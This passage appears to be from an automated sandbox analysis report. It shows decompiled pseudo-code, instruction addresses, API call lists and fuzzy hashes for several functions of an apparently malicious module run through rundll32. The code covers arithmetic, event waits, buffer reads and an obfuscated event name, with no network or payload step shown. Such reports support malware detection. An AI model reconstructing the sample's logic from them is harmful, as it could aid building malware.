                  0x04be6ced
                  0x04be6cee
                  0x04be6cf2
                  0x04be6cf8
                  0x04be6cfe
                  0x04be6d07
                  0x04be6d0d
                  0x04be6d17
                  0x04be6d19
                  0x04be6d1f
                  0x04be6d24
                  0x04be6d2f
                  0x04be6d35
                  0x04be6d3a
                  0x04be6e5c
                  0x04be6d40
                  0x04be6d40
                  0x04be6d4d
                  0x04be6d53
                  0x04be6d59
                  0x04be6d5d
                  0x04be6d63
                  0x04be6d70
                  0x04be6d74
                  0x04be6d7a
                  0x04be6d7d
                  0x04be6d85
                  0x04be6d86
                  0x04be6d8a
                  0x04be6d8e
                  0x04be6d91
                  0x04be6d94
                  0x04be6d9a
                  0x04be6da3
                  0x04be6da9
                  0x04be6daa
                  0x04be6dad
                  0x04be6dae
                  0x04be6daf
                  0x04be6db7
                  0x04be6db8
                  0x04be6db9
                  0x04be6dbb
                  0x04be6dbf
                  0x04be6dc3
                  0x00000000
                  0x00000000
                  0x04be6dc9
                  0x04be6dd2
                  0x04be6dd8
                  0x04be6de2
                  0x04be6de6
                  0x04be6de8
                  0x04be6df5
                  0x04be6df9
                  0x04be6e01
                  0x04be6e06
                  0x04be6e18
                  0x04be6e1a
                  0x04be6e20
                  0x04be6e20
                  0x04be6e29
                  0x04be6e29
                  0x04be6e2b
                  0x04be6e31
                  0x04be6e31
                  0x04be6e34
                  0x04be6e3a
                  0x04be6e3d
                  0x04be6e46
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be6e46
                  0x04be6d9a
                  0x04be6d94
                  0x04be6d7d
                  0x04be6e4c
                  0x04be6e4c
                  0x04be6e52
                  0x04be6e52
                  0x04be6e58
                  0x04be6e58
                  0x04be6e61
                  0x04be6e67
                  0x04be6e67
                  0x04be6d24
                  0x04be6e70

                  APIs
                  • SysAllocString.OLEAUT32(04BE9284), ref: 04BE6D2F
                  • lstrcmpW.KERNEL32(00000000,0076006F), ref: 04BE6E10
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE6E29
                  • SysFreeString.OLEAUT32(?), ref: 04BE6E58
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloclstrcmp
                  • String ID:
                  • API String ID: 1885612795-0
                  • Opcode ID: ebe6825ff205061c339548938e055924bcbf842a03f76f736209244fc0de9e3e
                  • Instruction ID: 9ffa12ea429c0cdb54a116265ec754bf224ee1403801aa8c70ba12fd738cbfb4
                  • Opcode Fuzzy Hash: ebe6825ff205061c339548938e055924bcbf842a03f76f736209244fc0de9e3e
                  • Instruction Fuzzy Hash: 0F516D75D00609EFCB01DFA9C8889AEB7B9FFC8704B148999E915EB250D731AD41CBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(?), ref: 04BE59B8
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE5A9D
                    • Part of subcall function 04BE6CDF: SysAllocString.OLEAUT32(04BE9284), ref: 04BE6D2F
                  • SafeArrayDestroy.OLEAUT32(00000000), ref: 04BE5AF0
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE5AFF
                    • Part of subcall function 04BE77E3: Sleep.KERNEL32(000001F4), ref: 04BE782B
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree$ArrayDestroySafeSleep
                  • String ID:
                  • API String ID: 3193056040-0
                  • Opcode ID: dc4ec0924181c4bfeec3e86fa86c688e552e4a20a8cea59ff35423f0c6e8ee69
                  • Instruction ID: 08a387514dbf46ca946a7f9201d59942e2ce6859730839a16468718e77ffb59f
                  • Opcode Fuzzy Hash: dc4ec0924181c4bfeec3e86fa86c688e552e4a20a8cea59ff35423f0c6e8ee69
                  • Instruction Fuzzy Hash: 9D515B75500609BFDB11DFA9C884AAEB7B6FFC8704F148469E905DB210DB35ED46CB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE4781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E04BE4781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04BE61EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04BE6725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E04BE7477(_t101,  &_v428, _a8, _t96 - _t81);
					E04BE7477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E04BE6725(_t101, 0x4bea1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04BE6725(_a16, _a4);
						E04BE7894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04BE82DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04BE82D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E04BE5F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E04BE6E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04BE10A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4bea1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                  0x04be4784
                  0x04be4790
                  0x04be4796
                  0x04be479b
                  0x04be479f
                  0x04be4911
                  0x04be4915
                  0x04be4915
                  0x04be47a5
                  0x04be47a9
                  0x04be47ad
                  0x04be47b0
                  0x04be47bb
                  0x04be47c1
                  0x04be47c6
                  0x04be47c9
                  0x04be47e3
                  0x04be47f2
                  0x04be47fe
                  0x04be4808
                  0x04be480d
                  0x04be480f
                  0x04be4812
                  0x04be48c9
                  0x04be48cf
                  0x04be48e0
                  0x04be48f3
                  0x04be4909
                  0x00000000
                  0x04be490e
                  0x04be481b
                  0x04be4822
                  0x04be4826
                  0x04be482c
                  0x04be482e
                  0x04be4830
                  0x04be4832
                  0x04be4834
                  0x04be483e
                  0x04be4843
                  0x04be4845
                  0x04be4847
                  0x04be4848
                  0x04be4849
                  0x04be484a
                  0x04be4851
                  0x04be4858
                  0x04be485b
                  0x04be485b
                  0x04be4828
                  0x04be4828
                  0x04be4828
                  0x04be4863
                  0x04be486b
                  0x04be4877
                  0x04be487c
                  0x04be487c
                  0x04be4881
                  0x00000000
                  0x00000000
                  0x04be4883
                  0x04be4886
                  0x04be4893
                  0x00000000
                  0x00000000
                  0x04be4895
                  0x04be4895
                  0x04be48a2
                  0x04be487c
                  0x04be4881
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be4881
                  0x04be48ac
                  0x04be48af
                  0x04be48b2
                  0x04be48b9
                  0x04be48b9
                  0x04be48c6
                  0x00000000
                  0x04be48c6
                  0x04be47b2
                  0x04be47b6
                  0x04be47b7
                  0x04be47b9
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be47b9
                  0x00000000

                  APIs
                  • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 04BE4834
                  • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04BE484A
                  • memset.NTDLL ref: 04BE48F3
                  • memset.NTDLL ref: 04BE4909
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: memset$_allmul_aulldiv
                  • String ID:
                  • API String ID: 3041852380-0
                  • Opcode ID: 2d6fad1eb39b5889d0a06029b8c9b2f07581d7515b4578a487016dd48f198106
                  • Instruction ID: fca4a51dd542540002b0026c8815797a3bed5a0af08ae054d4f17267340902e6
                  • Opcode Fuzzy Hash: 2d6fad1eb39b5889d0a06029b8c9b2f07581d7515b4578a487016dd48f198106
                  • Instruction Fuzzy Hash: D241CF31A00219AFEB109F6ADC40BFE7779EF85314F0045A9F919A7281EB70BE55CB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E04BE454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x4bea160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x4bea174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E04BE33DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x4bea160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E04BE61DA(_v16);
							if(_t58 == 0) {
								_t58 = E04BE2B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E04BE16B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E04BE16B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                  0x04be454f
                  0x04be455e
                  0x04be4563
                  0x04be4565
                  0x04be456a
                  0x04be456b
                  0x04be4570
                  0x04be4571
                  0x04be457c
                  0x04be45ad
                  0x04be45b2
                  0x04be4675
                  0x04be4678
                  0x04be467e
                  0x04be467e
                  0x04be45bf
                  0x04be45c7
                  0x04be4672
                  0x00000000
                  0x04be4672
                  0x04be45d2
                  0x04be45d7
                  0x04be45dc
                  0x04be4664
                  0x04be4665
                  0x04be4665
                  0x04be466b
                  0x00000000
                  0x04be466b
                  0x04be45e2
                  0x04be45e4
                  0x04be45ea
                  0x04be45eb
                  0x04be45eb
                  0x04be45ee
                  0x04be45f1
                  0x04be45f7
                  0x04be45fc
                  0x04be45fd
                  0x04be4602
                  0x04be4605
                  0x04be4610
                  0x00000000
                  0x00000000
                  0x04be4618
                  0x04be4620
                  0x04be4649
                  0x04be464c
                  0x04be4653
                  0x04be465e
                  0x04be465e
                  0x00000000
                  0x04be4653
                  0x04be462c
                  0x04be4630
                  0x00000000
                  0x00000000
                  0x04be4632
                  0x04be4637
                  0x00000000
                  0x00000000
                  0x04be4639
                  0x04be4639
                  0x04be463e
                  0x00000000
                  0x00000000
                  0x04be4640
                  0x04be4641
                  0x04be4644
                  0x04be4644
                  0x04be45eb
                  0x04be4584
                  0x04be458c
                  0x04be45a5
                  0x04be45a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be45a7
                  0x04be4598
                  0x04be459c
                  0x00000000
                  0x00000000
                  0x04be45a2
                  0x00000000

                  APIs
                  • ResetEvent.KERNEL32(?), ref: 04BE4565
                  • GetLastError.KERNEL32 ref: 04BE457E
                    • Part of subcall function 04BE16B2: WaitForMultipleObjects.KERNEL32(00000002,04BE7C47,00000000,04BE7C47,?,?,?,04BE7C47,0000EA60), ref: 04BE16CD
                  • ResetEvent.KERNEL32(?), ref: 04BE45F7
                  • GetLastError.KERNEL32 ref: 04BE4612
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorEventLastReset$MultipleObjectsWait
                  • String ID:
                  • API String ID: 2394032930-0
                  • Opcode ID: 5b0143563cb846a74d4282c8ffbecf2c7a6c026b8643c274eb1a1d8a21f83190
                  • Instruction ID: 11400571644aeeb8a8ffeb031a6c461220de065994d0229ac475c809b02a96a8
                  • Opcode Fuzzy Hash: 5b0143563cb846a74d4282c8ffbecf2c7a6c026b8643c274eb1a1d8a21f83190
                  • Instruction Fuzzy Hash: 1A31AE32A00604EFDB219FA6C844E7EB7B9FFC4364B2106E9E511A7190EB30F9459B10
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE49D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E04BE49D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x4bea310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4bea348; // 0xa1d5a8
				_t3 = _t8 + 0x4beb7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E04BE74EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4bea34c, 1, 0, _t30);
					E04BE61DA(_t30);
				}
				_t12 =  *0x4bea2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E04BE30D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E04BE37DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x4bea124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E04BE23C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                  0x04be49d1
                  0x04be49d8
                  0x04be49e2
                  0x04be49e6
                  0x04be49ec
                  0x04be49fb
                  0x04be4a02
                  0x04be4a06
                  0x04be4a18
                  0x04be4a1a
                  0x04be4a1a
                  0x04be4a1f
                  0x04be4a26
                  0x04be4a7d
                  0x04be4a7d
                  0x04be4a83
                  0x04be4a85
                  0x04be4a85
                  0x04be4a8f
                  0x04be4a93
                  0x04be4aa5
                  0x04be4aa5
                  0x04be4aa9
                  0x04be4aaf
                  0x04be4aaf
                  0x00000000
                  0x04be4a3f
                  0x04be4a44
                  0x04be4a4c
                  0x04be4a50
                  0x04be4a54
                  0x04be4a54
                  0x04be4a61
                  0x04be4a65
                  0x04be4a69
                  0x04be4abe
                  0x04be4ac4
                  0x04be4ac4
                  0x04be4a77
                  0x04be4a7b
                  0x04be4ab2
                  0x04be4ab4
                  0x04be4ab7
                  0x04be4ab7
                  0x00000000
                  0x04be4ab4
                  0x04be4a7b
                  0x00000000
                  0x04be4a65

                  APIs
                    • Part of subcall function 04BE74EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,05609DD8,00000000,?,?,43175AC3,00000005,04BEA00C,4D283A53,?,?), ref: 04BE7522
                    • Part of subcall function 04BE74EC: lstrcpy.KERNEL32(00000000,00000000), ref: 04BE7546
                    • Part of subcall function 04BE74EC: lstrcat.KERNEL32(00000000,00000000), ref: 04BE754E
                  • CreateEventA.KERNEL32(04BEA34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,04BE6A95,?,?,?), ref: 04BE4A11
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,04BE6A95,00000000,00000000,?,00000000,?,04BE6A95,?,?,?), ref: 04BE4A71
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,04BE6A95,?,?,?), ref: 04BE4A9F
                  • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,04BE6A95,?,?,?), ref: 04BE4AB7
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                  • String ID:
                  • API String ID: 73268831-0
                  • Opcode ID: f5dc8762e54ade80b45845a5506e37405b79a3de3f64ebea35a7dacb54385258
                  • Instruction ID: 88d8a9f592637821e476a3f56185472269ffdb74477a43461d386ca7150b5767
                  • Opcode Fuzzy Hash: f5dc8762e54ade80b45845a5506e37405b79a3de3f64ebea35a7dacb54385258
                  • Instruction Fuzzy Hash: 6A2123726003119BC7319A6B8C48ABB73EDEFC8B34B0516A6FD41EB101DB64FC029768
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE69E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E04BE69E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E04BE2A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E04BE28B3(_t23);
						}
					}
					return _t38;
				}
				if(E04BE6ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4bea34c, 1, 0,  *0x4bea3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04BE5704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04BE4C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04BE7220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04BE49D0( &_v32, _t39);
					goto L13;
				}
			}












                  0x04be69e6
                  0x04be69f3
                  0x04be69f9
                  0x04be69fa
                  0x04be69fb
                  0x04be69fc
                  0x04be69fd
                  0x04be6a01
                  0x04be6a0d
                  0x04be6a11
                  0x04be6a99
                  0x04be6a99
                  0x04be6a9c
                  0x04be6a9e
                  0x04be6aa6
                  0x04be6aac
                  0x04be6aaf
                  0x04be6aaf
                  0x04be6aac
                  0x04be6aba
                  0x04be6aba
                  0x04be6a24
                  0x04be6a26
                  0x04be6a26
                  0x04be6a3d
                  0x04be6a41
                  0x04be6a44
                  0x04be6a4f
                  0x04be6a56
                  0x04be6a56
                  0x04be6a5f
                  0x04be6a63
                  0x04be6a71
                  0x04be6a65
                  0x04be6a65
                  0x04be6a66
                  0x04be6a67
                  0x04be6a68
                  0x04be6a69
                  0x04be6a6a
                  0x04be6a6a
                  0x04be6a76
                  0x04be6a79
                  0x04be6a7d
                  0x04be6a7f
                  0x04be6a7f
                  0x04be6a86
                  0x00000000
                  0x04be6a88
                  0x04be6a88
                  0x04be6a95
                  0x00000000
                  0x04be6a95

                  APIs
                  • CreateEventA.KERNEL32(04BEA34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 04BE6A37
                  • SetEvent.KERNEL32(00000000), ref: 04BE6A44
                  • Sleep.KERNEL32(00000BB8), ref: 04BE6A4F
                  • CloseHandle.KERNEL32(00000000), ref: 04BE6A56
                    • Part of subcall function 04BE5704: WaitForSingleObject.KERNEL32(00000000,?,?,?,04BE6A76,?,04BE6A76,?,?,?,?,?,04BE6A76,?), ref: 04BE57DE
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                  • String ID:
                  • API String ID: 2559942907-0
                  • Opcode ID: 59deb5e2c46e0eca415328d4a85ca3f8df45ad22586c93d0a3d4e94130e4d807
                  • Instruction ID: 143f63a445390c72f36018c11bb103b89db8c1d4d71dbaef59f4da7f3294639d
                  • Opcode Fuzzy Hash: 59deb5e2c46e0eca415328d4a85ca3f8df45ad22586c93d0a3d4e94130e4d807
                  • Instruction Fuzzy Hash: F2219872D00119ABDF20EFF798848FE77BCDFD4314B4594AAEA11A7100D734B9569BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE4461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 78%
                  			E04BE4461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04BE33DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                  0x04be446d
                  0x04be4471
                  0x04be4472
                  0x04be4473
                  0x04be4475
                  0x04be4477
                  0x04be447a
                  0x04be447f
                  0x04be4516
                  0x04be451d
                  0x04be451d
                  0x04be4488
                  0x04be448f
                  0x04be449f
                  0x04be449f
                  0x04be44a5
                  0x04be44a7
                  0x04be44ac
                  0x04be44b5
                  0x04be44bb
                  0x04be44c0
                  0x04be44cb
                  0x04be44cf
                  0x04be44d1
                  0x04be44d2
                  0x04be44db
                  0x04be44df
                  0x04be44f0
                  0x04be44e1
                  0x04be44e6
                  0x04be44eb
                  0x04be44fa
                  0x04be44fa
                  0x04be44cf
                  0x04be4500
                  0x04be4506
                  0x04be4506
                  0x04be450f
                  0x04be4514
                  0x04be4514
                  0x00000000

                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
